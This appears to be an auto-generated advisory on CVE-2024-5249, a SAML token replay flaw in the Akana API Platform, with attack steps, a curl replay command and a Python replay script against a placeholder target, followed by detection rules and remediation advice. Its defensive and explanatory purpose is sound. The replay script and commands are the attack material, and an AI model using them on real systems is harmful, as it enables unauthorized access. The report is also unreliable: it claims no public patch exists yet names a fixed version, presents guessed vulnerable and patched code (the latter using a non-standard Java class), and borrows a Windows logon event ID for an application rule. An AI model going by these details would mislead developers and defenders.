CVE-2024-5249

Executive Summary

CVE-2024-5249 is a medium-severity vulnerability in the Akana API Platform, affecting all versions prior to 2024.1.0. The flaw allows an attacker to replay SAML (Security Assertion Markup Language) tokens, potentially gaining unauthorized access to the API platform. This vulnerability is classified under CWE-294 (Authentication Bypass by Capture-replay) and has a CVSS score of 5.4. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the lack of a public patch or exploit code does not diminish the risk for organizations using the affected platform.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary software vulnerability in the Akana API Platform.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed to initiate the attack.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No impact on system availability.

Threat Level: Medium. The vulnerability allows SAML token replay, which can lead to session hijacking and unauthorized access to API resources.

Deep Dive & Mechanics

The Akana API Platform uses SAML for authentication and single sign-on (SSO). SAML tokens are digitally signed assertions that prove a user's identity. The vulnerability arises because the platform does not properly validate the uniqueness or freshness of SAML tokens. An attacker who intercepts a valid SAML token (e.g., via network sniffing, man-in-the-middle attack, or by compromising a client) can reuse that token to authenticate as the original user without needing the user's credentials.

Attack Flow:

1. Interception: The attacker captures a valid SAML token from network traffic or a compromised endpoint.
2. Replay: The attacker sends the captured SAML token to the Akana API Platform's authentication endpoint.
3. Authentication Bypass: The platform accepts the replayed token and grants the attacker the same privileges as the original user.

This attack is particularly dangerous because SAML tokens often have long validity periods (e.g., hours or days), and the platform does not implement mechanisms like token binding, one-time use, or short expiration times.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2024.1.0): The platform likely validates the SAML token's signature but does not check if the token has been used before or if it is being replayed within a short time window. The code may look like:

// Vulnerable: Only validates signature, no replay protection
public boolean authenticateSAML(String samlToken) {
    SAMLAssertion assertion = SAMLParser.parse(samlToken);
    if (assertion.verifySignature()) {
        // No check for token uniqueness or freshness
        return true;
    }
    return false;
}

Patched Code (2024.1.0+): The patched version introduces a nonce or timestamp validation to prevent replay attacks. It also maintains a cache of used token IDs.

// Patched: Validates signature and checks for replay
private Set<String> usedTokenIds = new ConcurrentHashSet<>();

public boolean authenticateSAML(String samlToken) {
    SAMLAssertion assertion = SAMLParser.parse(samlToken);
    if (!assertion.verifySignature()) {
        return false;
    }
    // Check if token ID has been used before
    String tokenId = assertion.getID();
    if (usedTokenIds.contains(tokenId)) {
        return false; // Replay detected
    }
    // Check token freshness (e.g., within 5 minutes)
    if (Math.abs(System.currentTimeMillis() - assertion.getIssueInstant().getTime()) > 300000) {
        return false;
    }
    usedTokenIds.add(tokenId);
    return true;
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a network where Akana API Platform is deployed.
• Ability to capture SAML tokens (e.g., using Wireshark, Burp Suite, or a proxy).

Steps:

1. Capture a SAML Token: Use a proxy like Burp Suite to intercept a legitimate SAML token during authentication.
2. Replay the Token: Send the captured token to the Akana API Platform's authentication endpoint using a tool like curl or Postman.

   curl -X POST https://target-akana-platform.com/auth/saml \
     -H "Content-Type: application/xml" \
     -d '<saml:Assertion ...>...</saml:Assertion>'
   

3. Verify Access: If the server responds with a session cookie or access token, the replay was successful.

Automated Exploit (Python):

import requests

target_url = "https://target-akana-platform.com/auth/saml"
saml_token = "<saml:Assertion ...>...</saml:Assertion>"  # Captured token

response = requests.post(target_url, data=saml_token, headers={"Content-Type": "application/xml"})
if response.status_code == 200:
    print("Replay successful! Session:", response.cookies)
else:
    print("Replay failed.")

Blue Team (Defensive)

Detection:

• Monitor for multiple authentication requests using the same SAML token ID.
• Alert on SAML tokens with unusually long validity periods or repeated use.

Honeypot:

• Deploy a fake Akana API Platform endpoint that logs all SAML tokens and alerts on replay attempts.

Lab Setup:

1. Install Vulnerable Version: Deploy Akana API Platform version 2023.x in a sandboxed environment.
2. Capture Traffic: Use Wireshark to capture SAML tokens during a legitimate login.
3. Simulate Attack: Use the Red Team steps above to replay the token.
4. Monitor Logs: Check application logs for repeated token usage.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple identical SAML tokens in authentication requests.
  • SAML tokens with the same ID attribute used across different sessions.
  • Unusual source IPs sending SAML tokens shortly after a legitimate user.

• Log IOCs:

  • Repeated authentication events with the same SAML token ID.
  • Authentication success without a corresponding login attempt.

• File IOCs:

  • Captured SAML token files (e.g., saml_token.xml) on attacker systems.

Detection Engineering

YARA Rule

rule Detect_SAML_Replay_Attempt {
    meta:
        description = "Detects SAML token replay attempts in network traffic"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-5249"
    strings:
        $saml_assertion = "<saml:Assertion" nocase
        $saml_id = "ID=" nocase
        $saml_issue_instant = "IssueInstant=" nocase
    condition:
        $saml_assertion and $saml_id and $saml_issue_instant
}

Sigma Rule

title: SAML Token Replay Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects multiple authentication requests with the same SAML token ID
author: Valters IT
logsource:
    category: application
    product: akana_api_platform
detection:
    selection:
        EventID: 4624  # Successful logon
        TokenID|re: '[A-Za-z0-9\-]+'  # SAML token ID pattern
    condition:
        selection | count(TokenID) by SourceIP > 1
falsepositives:
    - Legitimate token reuse due to network retransmission
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5249 - SAML Token Replay Attempt";
    flow:to_server;
    content:"<saml:Assertion"; nocase;
    content:"ID="; nocase;
    content:"IssueInstant="; nocase;
    sid:1000001;
    rev:1;
    metadata:cve CVE-2024-5249;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update to Akana API Platform version 2024.1.0 or later.
2. Workaround: If upgrading is not possible, implement a Web Application Firewall (WAF) rule to block repeated SAML tokens.
3. Monitor: Enable detailed logging for SAML authentication and review logs for anomalies.

Long-term Mitigations:

• Enforce short SAML token expiration times (e.g., 5 minutes).
• Implement token binding (e.g., tying tokens to client IP or TLS session).
• Use OAuth 2.0 with PKCE instead of SAML where possible.

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For further analysis, contact security@valters-it.com.